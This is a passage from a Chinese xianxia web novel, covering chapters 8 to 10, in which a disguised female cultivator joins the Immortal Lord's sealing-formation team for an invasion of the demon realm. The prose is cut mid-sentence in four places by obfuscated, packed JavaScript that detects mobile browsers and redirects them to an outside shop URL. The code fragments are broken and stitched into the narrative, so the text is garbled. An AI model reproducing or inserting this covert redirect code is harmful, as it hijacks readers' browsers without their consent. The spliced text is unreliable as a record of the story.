她的脚尖往前挪了挪,莫名迫切的渴望一下从背后压过来,催促她。同时又有一根无形的线从林间里牵了出来,一颤一颤地拽着心口,让目标清晰,让胸口前的伤疤发痒。 碧霞狠狠吐了一口气,压下那种不对劲的感觉,迅速转身,沿着原路离开。 她的状态奇怪,并且突兀,有一颗巨大的怪石摆在零落稀疏的记忆平原上,最为显眼。 记忆会消失,但感觉或许不会。 难道她以前真的喜欢明河仙尊,所以才会将素月夫人推到劫雷之下。但是她的喜欢又没有对任何人说,只是偷偷藏在了心里,所以桃夭不知道,祝曦也不知道…… 总之,她无法挪动或者打破那颗巨石分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922979|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫。 第二次走在那条路上,碧霞终于找到了顺遊楼。 原来是顺遊楼的旁边有一座巨大的瞭望塔,瞭望塔将楼挤了过去。但只需往里拐一小段,就能看到牌匾上那清晰的三个大字。 逸字间不单她一人,进去的时候,另一位女修在屏风后打坐,同样来自嘉应宗。 女修看着十分年轻,料想应该刚进宗不久,没有老修士的那种趾高气昂,练完功后就过来拘谨地和碧霞打了个招呼。 两人说了几句话,女修果然刚进宗不到三个月,还是一名外门弟子。 碧霞遂感到奇怪,新弟子入门,引气入道还来不及,怎么会浪费时间来戡魔崖参加对魔族的征讨。这多危险啊。 女修支吾道:“被宗门选中了,自然义不容辞。” “你是从凡界来的吗?”碧霞看着姑娘不超过二十岁的年轻面庞问道。 女修表情凝固在脸上。 看来是说中了,碧霞直来直去:“宗门不会让一个连筑基都没有的弟子去到魔界送死,就算是从凡界来的也一样,你八成是被周围的人忌恨上了。现在去向戡魔崖说明情况还来得及,是可以回去的。” 嘉应宗已经越来越少招收凡人弟子,光是修真界就有无数修士挤破头想进入这个首屈一指的大宗门,哪里还轮得到凡人。 可见这名叫做谢韬的女修有多么天赋异禀。 但谢韬一屁股坐在了榻旁的凳子上,沉思半响,脸色阴郁:“我不想,如果我活着回去,才是真的让他们失望。” 碧霞靠着枕头,闻言转过来,忍不住多说了句:“要是无法活着回去呢,魔界情况复杂,肯定少不了危险。” “师姐,您去过魔界吗?” “我没去过。” “那我就不知道它有多危险。” 碧霞眉头皱在一起,后脑勺都离了枕面三分。她盯着谢韬好一会儿,姑娘倔着脸,眸中燃烧怒火。 “好吧,你既然坚持的话。”,或许天才没有不心高气傲的,她不得不承认人各有命。 碧霞将自己带的东西分给了谢韬一部分,多少能为她增加些活命的机会。 谢韬也不推辞,她甫入宗,自然没有得到多少修炼资源,礼貌地谢过后,她回到了自己的隔间里,不再打扰。 碧霞躺在床上沉沉地睡了一晚,第二天就收到戡魔崖交给她的任务。 昨夜下了几个时辰的雨,路旁冷雾未散,榴花轻带露水,碧霞内心惴惴地跟在一名戡魔崖弟子身旁,问道:“是仙尊亲自挑的人吗?” 任务是进入魔界后开启天钺封魔阵,这是一个大阵。 那名弟子走在发亮的黑石板上,“这倒不是,仙尊把挑人的任务交给我们,不过排阵时他会亲自来。” “那你们一共挑了多少人?” “也就二十人,选的都是修为深厚的术修。”说到这里,弟子瞟她一眼,声音里带上了些许敬意。 碧霞下意识抬手,摸了摸脸,确认易容/面具还牢牢粘在皮肤上。 8. 第 8 章 一路心情复杂,碧霞绷紧了唇不再说一句,既怕仙尊发现自己的身份,又为或许和他有近距离接触的机会感到隐隐的期待。 很快,她被带到一座巨大的殿宇外,上面挂着四个遒丽的大字“明心见性”,进去就是结界,围绕着一方巨大的演武场,透过虚幻的白光,可以看到场内站着不少穿箭袖圆领蓝袍的人。 碧霞一下认出来,那些大部分都是神辉宗的弟子。 这个宗门虽然不大,但在修真界地位显著,只因宗门主旨特殊:一切平日修行皆是为了斩妖除魔。 他们自觉承担起了保卫修真界的责任,自然要多受几分敬重,戡魔崖可以说在他们的掌管之下,相当多关于魔界的情报都是通过此宗门传递出来的。 那名将碧霞带来的弟子用指头数了一圈,兀自点头,“好,二十人齐了。” 神辉宗的人欲言又止,有一人对她说道:“我们并不认同仙尊的做法,天钺封魔阵不适合施加在原有的魔界封印上。” 她愣了愣,用一种困惑的目光回应他,这一下比言辞更有力:“但这不是仙尊的命令吗?” “可是——” 后方,一名少年忽然拔高声音,似是完全忍不了:“你是狗腿子吗,神辉宗不需要听任何人的命令!” “你说谁狗腿子?”女修瞬间被他激怒,两人隔着人群对峙起来,“有本事待会儿当面跟仙尊说,冲我嚷嚷个什么。” “说就说,最讨厌你们这种因为一个身份就对其唯命是从的人!” “林师弟,冷静一下。”有人过去扯住他的臂膀。碧霞打量了眼,少年虽然火气甚大,但却长得十分英俊贵气,将颜色沉朴的圆领蓝袍穿出了和周围不一样的感觉。 “我招你惹你了。”女修晦气地拂了拂衣袖,仿佛被狗咬般快步离开。 待她背影消失于门后,中有人指着那名林师弟交代道:“待会儿记得捂好小子的嘴,别真让他顶撞了仙尊。” “师兄,我还要和那个仙尊理论呢。”林夜霜双手抱臂,面向另一侧的大门,“是仙尊就了不起吗,戡魔崖历来都是神辉宗说了算,就凭我们真的在流血拼命。” 碧霞默默坐到一旁的蒲团上,姓林,还这么有恃无恐,难道是那个世族林家? 在场也有不是神辉宗的人,看那小子顾影自怜,便嘲笑道:“明河仙尊对修真界的贡献有目共睹,不是只有你们神辉宗受委屈。” “你说什么?” “怎么,林小少爷想咬我?” “唉,大早上的,都熄熄火吧,我们绝没有对仙尊不敬的意思。” 碧霞感到无聊,但她没无聊太久,后门处忽有一阵气流波动,像水的涟漪荡开,她比任何人都先注意到。 那人就这么走了进来。穿着淡金色的袍子,外罩一层缇花轻纱,仿佛曲径旁携带进来的晨雾未消。同样利落的箭袖,外套了金彩湖花石纹护腕,宽金腰带,镂云雕羽冠束起一半的银发。 碧霞很奇妙地意识到,这是她第一次,和明河仙尊处于同一个高度上。因为以往见他,他都是高高在上,不临凡尘的模样。 所有人都打了一激灵,纷纷挺直了腰,碧霞从蒲团上爬起,不着声色地往旁边躲了半步。 “恭迎仙尊。”他们用洪亮的声音齐齐喊道。 碧霞抬眼,颤巍巍地去打量,那张脸庞并不像少年一般年轻,通身有股横逸绝伦的浩然清气,配上如烟飘渺的淡色眉眼,透着冷傲与孤僻。 碧霞有些恍惚,这不对,在她的脑海里,明河分明是年轻的,甚至还有几分病弱的少年模样。 “辛苦诸位了。”仙尊开口,似是不打算浪费时间,目光扫过众人便问:“在场有多少人通晓天钺封魔阵?” 竟没有人第一时间回答,犹疑的氛围弥漫在演武场上。 神辉宗的那名大师兄名叫李元通,他左右看了看,率先站出来:“回仙尊,我们认为对魔界的行动不宜操之过急,天钺会破坏原有的封印,到时事情恐怕会往不可预测的方向发展。” 都说明河仙尊仙风道骨,实则独断专行,说一不二,李元通此话一出,瞬间有种果敢直言,不卑不亢的气度。 神辉宗的人暗自松了口气,话能说出来便好。同时也不敢出声,紧张着仙尊接下来的反应。 但明河仙尊只是淡淡问道:“有什么不可预测?” 李元通愣了愣,这分明是显而易见的事,他硬着头皮说下去:“所有大小封印都会遭到破坏,魔气涌出,魔类席卷修真界,更严重的,修真界地脉会被两界之力冲击断裂。” 没有人担得起这个责任,所以他们才不想做。就算要做,也得是听各大仙门共同商议完成后的命令去做。 即使是仙尊,也不足以为这件事担保。 但他说完,明河也只是轻飘飘地给予保证:“我会力保两界处于隔绝状态,施术过程中不会有一丝魔气外溢到修真界。” 显然没有打算改变做法的意思。 李元通微微错愕,这话一时让人听不明白,但话语间的自信狷狂倒是让他意会到了。 面前的人,代表着偌大修真界里最顶尖的力量,即使只是站在那,周身也透着一圈辉煌彩晕,那是磅礴灵气外溢流转,自行凝成的一道将之与外界隔离的屏障。 或许李元通的怀疑本身就是庸人自扰。 他挠着侧脸,几乎折服之际,一声刺耳嗤笑忽然在人群中响起。 林夜霜往前走了两步,看着明河,眸中暗含挑衅,似与人有仇般:“你要怎么力保,魔界那么大,想凭一己之力抗衡空间力量的冲击不成?” 李元通思绪被打断,立时回头,恶狠狠地剜了他一眼,对这个无法无天的小师弟又一次感到厌恶。 “林师弟性格素来如此,请仙尊切勿挂怀。”他不情不愿地为林夜霜打圆场,脑子里反复思考,最终把头一点,还带着一丝莫名的欣喜:“好,我们就听仙尊的。” “哼,出了事,别把责任甩到——”少年要继续说,一只手赶忙捂住他的嘴,将他话揉碎塞回去。 阵法就这么排布起来,凡入了宗门,每个术修的第一课都是学习针对魔族的那些术法,天钺封魔阵自然也在其列。 天钺,天启,天微,典籍里记载的三大封魔阵,其中要数天钺最为精深奥妙,对魔效果也最为显著。 但现今的魔界封印仍是一千年前落下的天微封魔阵,那时许多功法都未得到完善,对魔封印自然也是。 这一千年间,天微封魔阵时不时就松动出事,闹得修真界无法坐拥长久的安宁,修士们只能不停对封印修修补补。天微不比后来研究出的天钺,已经是修真界各宗派认可的事实。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922980|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >即使这样,也没人敢动两界之间的封印,因为牵一发而动全身。 看来这一次明河仙尊是打算釜底抽薪了,这是大事,却由他一人极有魄力地决定了下来,而碧霞也阴差阳错参与其中。 心底暗喜,却尽量离远了他,只敢时不时地朝他的方向扫一眼,不敢看实。 那双冰蓝烟眸映着灵光,沉静地观察着上方法阵的运转情况。 不知是不是想表现,碧霞调整了一下有些失衡的呼吸,催动体内气海,比所有人都殷勤地往天钺阵中灌注灵力。 每人负责一部分,试了一遍又一遍,尽量使这一个巨大的法阵稳稳当当运行在他们手中。 整一个上午,明河仙尊一直在他们身后,手把手地指点几人运气。 后半程,有两个弟子给他搬来一张鹅绒大椅,他便坐在上面继续看着他们。冷雾散尽后的秋阳从大开的门窗投射进来,也落在他身上,像一尊镀金的佛像。 碧霞做得很好,也因此没有得到指点的机会,临近正午,仙尊先他们一步离去,所有人收起手中结阵的法印,纷纷松了口气。 只有碧霞,她还直愣愣地站在原地,看着那张空荡荡的雪白椅子,既觉得芒刺在背,又有种喝醉了酒般的飘飘然。 明河离她最近的一次,是隔着两个身位停留在那名叫做林夜霜的少年身旁。少年似乎有些不老实,还在暗中动手脚,她能感受到那个方向走气不畅,灵纹错乱,阵法有种摇摇欲坠的态势。 趁着这个机会,她便将余光粘在明河身上,打量过他光洁的鼻梁,绒突出的眉骨,甚至看清了他衣肩处的锦云暗纹。 但这还不够,碧霞希望他再靠过来一点,最好像个答案突然降临她头顶,或许自己就能弄懂那种对他的奇怪感觉。 这时,神辉宗的那名带头的大师兄过来,拍了拍她的肩,是要记名。碧霞呐呐地回过神,只说自己叫做青霄,然后将住的房间告诉他。 这之后一连几天,都没有人来找她。 直到第五天,神辉宗的两名女修敲响逸字间的门,碧霞才跟着她们再次去到那座大殿内。 不过这次是他们自己练,仙尊不在了。 碧霞略微失望,从芥子袋中取出一枚热硫丹,吞进肚子里。 旁边几人凑一起聊天,碧霞无所事事地晃过去,恰好听到他们问起林夜霜,有人说他被仙尊从此次的出战名单中除名了。 现时现刻,戡魔崖的大门和结界都已完全关闭,听说林夜霜是在最后一天被丢出戡魔崖的,他在门外对着结界乱轰乱砍了一晚上。 “你不懂,戡魔崖崖主的位置本来是神辉宗林尧副掌门的,他也是林夜霜的六叔,后来被明河仙尊一句话取缔了。” “啊,怪不得会那样跟仙尊说话呢。不过林尧分明只是一个丹修,当什么戡魔崖崖主。” “还用说?林家一直想将族人安排进各个门派,扩大自己的势力,司马昭之心不是一天两天了。” 中年模样的男修压低了声音,“神辉宗就是一个被他们祸害的例子,不就是林家人为了自己的名声,找了一堆冠冕堂皇的借口,要他们到魔界送死吗。” 他看着几步之外的那几名神辉宗弟子,露出一种又可怜又嘲讽的眼神。 “呵,那看来仙尊将林夜霜除名是好事,这种人最会节外生枝了。” 9. 第 9 章 代替林夜霜的是一名从月留殿来的男修,腰间斜插一把乌骨金泥扇,举止言辞翩翩有礼,在合宜的礼度外又多了一分热心。 明河仙尊是剑术双修,他跟着仙尊学术法,叫他师尊。 算上碧霞,在场也只有他们两人是从嘉应宗来的。这名叫做沈槐安的男修自然而然向她亲近过来,且似乎对她生出了兴趣。 “仙子的功体是不是娲皇垢灵体,这是十分珍稀的天赋,怎么之前从未听说过大名?” “宗内人才济济,师兄怎么能都听说过。”碧霞靠在柱子上略显局促,双手抱在胸前,脸偏往一旁敞开的窗。 男人比她高不少,看出她的窘迫,微微往后退了半步,“我是紫阳骨,比不上娲皇垢灵体,却也得以进入月留殿向仙尊学习,师妹应该不差才是。” 见她叫他师兄,他干脆也以师妹相称。 碧霞掩住内心的心虚,略有意动地看向他:“仙尊……有多少个徒弟?” “亲传弟子不过几人,门徒却有一百多位。” “都住月留山上吗?”她追着细枝末节问。 沈槐安不疑有他,“想留下自然也是可以的,月留山不缺房子,但大多数门徒都是另有师门,不过是到殿内求仙尊指点一二罢了。” 碧霞点点头,逐渐起了些心思,反正她现在那么自由…… “好了,继续!”才休息没多久,李元通的声音又在那头响起。 之后的十几天,明河仙尊都没有出现,那张雪白的鹅绒椅一直空着,他们的排阵场地也从室内转向室外。 近一万五千人在戡魔崖内如火如荼地操练着,剑阵,封魔阵,雷火阵,符阵一齐在空中绽开,散发出令人惊惧的光热巨浪,空中从早到晚隐雷阵阵,星芒缭乱。 一个清晨,天亮得比往时都要快,碧霞起早为自己准备新的易容/面具。恍惚发现窗外似乎徘徊着一片亮光,她摊着满手药油,用肩拱开了窗扇,天上亮堂堂的,一个形状古怪的月亮挂在薄云上,窗下人流疾走。 “碧霞师姐,你起了吗?”谢韬在屏风外叫她。 “等等,我洗把脸。”碧霞知道今天要出发,但没想到那么早,她把手伸进铜盆里搓洗,用帕子擦干净脸,和谢韬一同赶往正门前的广场。 挂在天上的正是那面浩世镜,它显然经过灵力加持,代替了月亮,向冷风中的戡魔崖投下流银白光。 金黄如火的空羽兽成群环绕在人们头顶,一批批御剑修士在领队指挥下飞向空中,凌空有序列好阵型。浩世镜之上,悬停着几艘巨大的灵舸,鼓涨的帆仿佛被灵石燃烧的火焰点燃,拖着绚烂星河似的紫蓝光芒,更远的天边,无数灵兽组成一道绵延不绝高大山脊,巍峨轮廓在半明半暗的天幕下若隐若现,正向此处汇聚。 碧霞微张着唇,为眼前的景象所震撼。 一旁的谢韬显然也是如此,她高举双手,发出一声少年气十足的欢呼,将目光投向那片最宏伟的灵兽海,连连赞叹,“这就是修真界的大手笔吗——师姐,据说光派出的灵兽就有五万头呢。” “有这么多吗。”碧霞笑了笑。 她心中忽然生出一丝矫情的怜悯,大概因为她是第一个意识到这五万头灵兽将会全部死在魔界的人。 片刻后,碧霞在人群中被沈槐安找到,他换了身和之前截然不同的装扮,黑鳞甲很有样致地箍在白绸袍上,金属光泽映着滟滟丝光,让他多了几分秾艳。 沈槐安将她带出人群,带到其中一艘巨大的灵舸上,封魔阵修士们集合在船舷处,碧霞被分到一块紫灵石雕琢成的玉牌。 “玉牌内储存着大量灵气,请谨慎使用,事关修真界安危,务必确保天钺封魔阵能平稳落下。” 对他们训话的人是戡魔崖几个主事之一,身上披着宽大的黑袍,下颌紧绷着,显得很严肃:“辛苦了,你们的任务是所有人里最重要的。” 之后他们就可以在灵舸上自由活动,但不能再到下面去。 碧霞搓了搓臂膀,她出来时太急,忘记服用热硫丹驱散寒气了。此刻寒气在丹田打转,蔓延至四肢,让她遍体生凉。 她盘腿在甲板上坐下,正打算通过调息驱散寒气,灵舸顶部忽然洒下一片莹蓝光芒,盖过了朦胧的浩世镜银光,将四周照得影影绰绰。 碧霞抬起眼,灵舸上最高的那一座楼阁亮了起来,朱红雕栏,琉璃碧瓦下,仙尊的袖袍盈着缕缕冷风,周围环绕着几人,整装佩剑,气宇轩昂。 “师兄,仙尊旁边的都是什么人?”碧霞嘴唇微微发着抖,轻声细语问一旁的沈槐安。 “那几位都是仙尊的亲传弟子,宗内人人欣羡呢。”沈槐安靠着她坐下,一只手搭在屈起的膝盖上,用一种新奇的目光望着她的侧脸,“你不知道吗,感觉你像刚入宗一样。” 碧霞确实不了解,出于三年前那场差点将她性命夺去的鲁莽行为,母亲极力告诫她不要靠近月留殿,也尽量不要出现在仙尊会出席的场合。 这几年她忙着捡回被遗忘的功法,常常待在彩羽天织阁,那个地方禁止男修和任何外门弟子出入,是一方半隔绝的小桃源。 “仙尊的亲传都是男弟子吗?”碧霞偏过头,她从未在天织阁听说谁的师尊是明河仙尊,若哪个女修真有这个显赫名头,她一定不会不知道。 果不其然,沈槐安利索地回答她:“仙尊确实没有女性亲传弟子。” “哦。”这也没什么奇怪,没人规定仙尊必须收什么样的徒弟。 这时,沈槐安却忽然像被蚊子叮了一下,温润公子似的性格里那一点热情又萌发出来,变成一种神神秘秘却又无法抑制的情状,他很快朝她压低了声音:“但其实仙尊也收过女弟子的,只不过……” 碧霞察觉他的欲言又止,皱了一下眉:“只不过什么?” 沈槐安唇角往上提了提,对她的话语感到满意,像话本里令人会心的铺垫桥段。 “只不过结局不太好。二十年前仙尊将她赶出了宗门,赶到了北面那片灵气稀薄的红雾林里,并且下令,没有他的允许宗门不可将其接回。” 他的脸上出现了一丝怀想,大概是和那名女修相识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922981|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“曾经也是天资非凡,上品的剑骨灵脉,仙尊座下风光无两的人物,月留殿里说话顶有分量,但走的时候,一半的灵脉被仙尊废了。” “啊……”碧霞忽然觉得几分胆战,她将素月夫人害死,仙尊都没有下令让人将她拒于宗门外,也没有剥夺她的功体,未来该不会还有更大的惩罚等着她? “这样优秀的苗子,说赶走就赶走,她做了什么惹怒仙尊吗?” “对!你说对了,就是触犯了仙尊的逆鳞!”沈槐安用力拍了一下她的肩膀。 碧霞正要问仙尊的逆鳞是什么,青天上忽然多了几道绚烂流光,从错落有致的灵舸建筑上方滑过,降落在船头高高翘起的朱雀祭坛上。 那里立着十几面素白的长幡,两座大概有四五丈高的朱雀神像竟是悬空的,极有力度地张开一对翅膀,仿佛是它们拖着灵舸上天。 祭坛下方不知何时站了几队人马,身上穿着嘉应宗护宗弟子的甲袍,头上却又戴着仙盟的黄绦抹额。 明河仙尊带着他的弟子出现在了祭坛上。 如山如海的阵列横亘在面前,他的眼眸依旧盈着层淡薄的水雾,让他看起来对一切浑不在意。 这时天地一阵清肃,千军万马静得仿佛映入画里,东方泛白,真正的黎明悄然而至。 “要出发了。”沈槐安咳了声,整理衣摆从甲板上站起。 碧霞少不了紧张,也对于接下来会发生什么感到困惑。 那方浩世镜真有如此神威,能将他们,这几艘巨大灵舸,那几万头灵兽统统送入魔界,还不对空间封印产生影响? 想来魔界是没有这种宝物的,不如早带魔杀过来了。 她凝视着那道被众人投以目光的身影,见他忽然并指向天,将一道宏大灵力灌入了头顶明镜中。 环绕在镜身周围的数十头空羽兽鸣叫着飞散开,浩世镜亮得失了真形,像一轮彻底的圆月。“圆月”内部灵气激荡,很快轰然一声,漫溢出一层浅淡光华,在青天上如水波,如绢纱,徐徐铺展开。 碧霞扶住旁边的围栏,这时有人小跑过来叫她和沈槐安,让他们到另一个地方集合。 穿行在灵舸交错曲折的长廊上,抬头望去,那层薄纱铺开的速度快了许多,云翳的轮廓在后面变得模糊,天角里零落的几颗亮星也变得没那么可爱,眼睛看着这种景象,并不舒服。 碧霞没想到,集合的地方就是他们在下面仰望的那座阁楼,不久前明河仙尊出现的那座阁楼。 穿过珠帘,明亮的厅堂里,有一方矮桌尤其显眼,上面有灯台,玉壶,伴着玉壶的一只茶盏,盏里剩了些浅浅的茶水,桌沿端端正正地放着的一卷书。 碧霞脑子里自动浮现出一幅画面,仙尊在桌旁品茗读书,银发垂落肩头,发尾在周身灵气的流转下轻轻拂动…… 她像骤然清醒般,匆匆收回视线,路过那道矮桌后,和众人一道挤在外面的露台上。 在灵舸的最高点,视野奇佳,一道新的红光大阵映入眼帘。那是很纯粹的攻击性法阵,狂风卷动,杀伐之气尽显。 10. 第 10 章 李元通站在最前方,听到脚步声,回头看了眼姗姗来迟的碧霞和沈槐安,眼里暗含责怪。 碧霞轻飘飘地无视他。 这十几天下来,她能感觉到这位神辉宗大师兄只是外表温润得体,实际是个眼里容不得沙子的性格,控制欲极强。封魔阵的训练由他组织统筹,任何细节紧抓不放,神辉宗的人让他训得跟狗一样。 外人眼里,碧霞的动作、神态总是透着股懒散,除了体内保有的根基,她实际的修炼时间只有三年,很多东西要在心头过一遍方能拿出手,因此总比别人慢上半拍,这位李元通便盯准了她,时常在一旁挑刺。 沈槐安和她心照不宣,两人总是一起暗地里搞些忤逆的小动作,让他抓不着,只能恨在心头。 一行人中,有弟子感叹道:“不愧是仙尊,竟能将紫微伏阳阵发挥到这个地步。” 两道巨大□□挂在天上,红光耀目,仿佛亘古就存在的天地异象。无处不在的灵气汇聚成洪流,倒灌入阵,考验着施术者的能为。 碧霞自然明白这道阵法的作用,仙盟经过商议,选定了魔界内的恒阳山作为根据地。而魔族必然有所防备,设下陷阱,紫微伏阳阵便是为了打通他们落地魔界的位置。 所有人都心悬一线,注视着那人一手撑持磅礴杀阵,一手调运浩世镜。 这不是简单的任务,加诸于一人身上实乃不得已。只是经过估测,两件事最好由同一人进行。 在带领千军万马穿越浩世镜铺开的通道时,杀阵落下的时机要也要掐准,不能早,不能晚。早了,紫微伏阳的力量便会被浩世镜吞噬,晚了,魔界的攻击便会蜂拥而至,将他们先一步绞杀。 放眼当世,堪当此任的唯余一人。 天地斗转,飞沙走石,昏蒙一片,宛如天狗食月。浩世镜颤动出刺耳的嗡鸣声,人群开始有些躁动,他们不知道一切能否顺利。 碧霞挤到栏杆边,祭坛上,那道屹立如神祇的背影变得模糊不堪。目光中,浩世镜和紫微伏阳阵的光芒变得分外清晰。 只是周围暗得连身旁人的脸都看不清。 很快,灵舸大幅度摇晃了起来,一下左倒,一下右倒,摇摇欲坠,似要倾翻,一下又打着摆子胡乱扭动,门扇噼啪作响,楼内外的光亮尽数熄灭。 这下彻底伸手不见五指了,好在维持身体平衡对修士来说不难。 除了头顶挂着的浩世镜和杀阵,两样东西还在兀自发着光,却仿佛离他们很远,再炽盛的光芒也照不过来。 耳边窜过猎猎风声,风中洒落无数絮语般的诡异声音。这些声音便是“镜语”,会让人的意识迷失,碧霞打了个狠颤,将它们扔到脑后。 灵舸再次猛地往旁边一倒,这次不知是哪个修士没站稳,连带十几人狼狈地滚落在露台上。 “别掉下去了!”黑暗中,李元通大喊。 碧霞反应倒快,先一步踩上栏杆,指尖燃起一簇小小灵火,欲要照明,只是火未成形,便如没入水中隐匿消散,手指继而传来咬噬般的痛。 李元通抓着栏杆,对着她摇了摇头:“看来宝镜已认仙尊为主,我们进入了镜道中,除仙尊外,其余力量都会被浩世镜吞没。” “认主?”碧霞有些懵。 她知道,一些上品的法宝灵器拥有神识,会挑选修士跟随,一些更可遇不可求的稀世法宝则会炼出自己的人形,要让神宝认主,是一件十分困难的事,像养一个孩子,得花上无数时间和精力。 “应该就是了,但我之前从未听说过这个消息。” 碧霞点点头,她也没听说过。 李元通语气沉沉,飘着不确定。如果浩世镜认明河仙尊为主,那么消息一定会传出来,用以安抚众人,拉高士气。 除非…… 这不是什么难题,他很快有了结论:“浩世镜一定是刚刚才认仙尊为主的,不然我们进入镜道的过程不会那么顺利。” 在浩世镜被仙尊灵力开启的那一刻,他们之间就进行了一场不为人知的博弈。 “它一定是见识了仙尊伟力,临时拜服了。”沈槐安带笑的声音不知从哪个角落响起。 “真羡慕你们嘉应宗有这么一位仙尊。”神辉宗弟子很给面子地感叹道。 碧霞笑了笑,她对明河也叹服了,同时有一丝暗羡。手指上的痛残留着,仿佛被猫类犬齿咬了一口。 虽然是娲皇垢灵体,但这辈子大概都达不到明河的境界。天赋亦有差距,何况作为宗门少主,明河获得修炼资源比她简单太多。 灵舸依旧像片落叶在风雨中飘摇,令人头疼的情况大概持续了一刻钟,整艘灵舸终于逐渐平稳下来,给人感觉即将到达目的地。 无法松懈,目的地不是港湾,而是魔界,新的紧张攫住了碧霞。 头顶浩世镜的光芒陡然熄灭,本体隐入黑暗中,取而代之的是杀阵中星辰疾旋,众星拱御紫微,汇气于中心一点。 那里的温度一定很高。猩红的光芒炽盛到泛白,碧霞再次感受到一股股扑面的热风,像无形的小手拨开她的额发。 山呼海啸般的号角声在黑暗中响起,一道接一道的擂鼓声敲击耳膜,抖动心弦,提醒着一万五千名修士严阵以待。 碧霞将手搭到腰间,抽出了一柄通体赤红的短刃,这是她近身作战的武器,也是施术法器。 天地瞬白,露台上的他们得以再次看见面前列阵如山的人马,那一头的修士同样看到几艘灵舸完整,两相安稳,没有造成损失,值得庆幸。 头顶的紫微伏阳阵再次有了新的变化,轰然一声,从中心陡然剥脱出一颗灿白巨大的光球,仿佛烈阳从高天坠落。 祭坛上那人衣袍卷动,仙姿峥嵘。阵盘崩溃后,剩余的灵气流溢而出,将暗色的背景涂花。 色彩纷繁,漫天缭乱星光下,仿佛唯余一人。 碧霞看到了,他将双手打开高举,从容中带着对一切的绝对掌控,似要迎接烈阳入怀。 真阳焚灼,无边灵气迸射如海,他们降临至另一个世界后,没来得及看清周遭,入耳便是凄厉贯耳的嘶喊声。 碧霞终于意识到了有多少獠牙等着他们。妖魔漫山遍野,遮天蔽日,像喋血的蝙蝠朝他们冲来,那人驱使着庞大法阵层层而下,涤荡过茂盛山林,余威甚至深入地底百丈。 灼烫真气将第一波扑上前的妖魔潮湮灭,顺势点燃草木,移平山峰,滚雷般的隆隆声,树木的爆裂声,妖魔的呼啸声混成一片,枯焦味和血腥味在风里流窜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922982|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >焚山煮海,烈焰升腾,紫微伏阳阵如秋风扫落叶般,硬生生开辟出一道方圆十里左右的空地。浩荡灵光冲天,修士们随之祭出防御大阵,冲散周遭浓郁魔气。 只是用以充当马前卒的小魔们实在太多了,扑灭一波后,另一波又立即从四面八方席卷过来,不知死活地撞在结界上,试图以身破阵。 仙魔两界昼夜相反,他们出发时是黎明,天色破晓,这里便是入夜,暮色四合。碧霞放眼铅灰色的天空,一轮血月被黑云遮了大半。 就算挨过了蝠魔的攻击,头顶还有密密麻麻的魔阵等着他们,这些魔阵早早便在灰沉沉的天空上铺就,如千百万只血红的眼,蓄势待发。 紫微伏阳阵爆发时,大部分的小型魔阵也顺势被冲毁,因此留下的更令人惊惧。一层层血光妖异,符纹骇人的魔阵上,魔族那些真正的精锐正冷眼俯视战局。 碧霞忽然察觉,那些小型魔阵只是用来吸收紫微伏阳之力的。没想到他们的情报可以准确到这个地步。 “看着吓人罢了。”李元通眉梢挑着一缕轻蔑,充满了魔类的厌恶,“魔族方结束一场割据百年的混乱斗争,一定没有多少余力的。” 祭坛旁,两只高大朱雀像活了,乖顺袅娜地翱翔于明河仙尊身畔。 在将紫微阵的余威泄尽后,仙尊化作一抹流光,带着两只朱雀神鸟朝他们飞来,沉喝一声:“走!” 朱雀收起翅膀,碧霞愣了一下,才意识到明河头一次离自己那么近。长身玉立,如月倾落,就那么几步的距离,一种熟悉的感觉忽然在这个关头使她失了神。 “上来。”见她发愣,仙君不耐,冰冷真气干脆将她直接扫到了鸟背上。 肌肉发达,坚如磐石的鸟背,碧霞踉跄了一下,很快在温热朱羽间站稳。两只朱雀驮着二十几人飞越高阁,向着后方远离一万五千名修士的方向飞去。 碧霞扶着脑袋缓缓坐下,鸟背宽大,她将目光定格于尾部那道高大背影上,脑海中果然有一根经脉抽痛了一下。 “呃……”她闭起眼睛,闷声抽气两下,好生不解。 “怎么了,身体不舒服吗?”沈槐安立即注意到了她的不对,关怀地扶住她的肩。 “哪有——”碧霞抬起头,赶紧摆手,她可不想在这关头成为拖累。 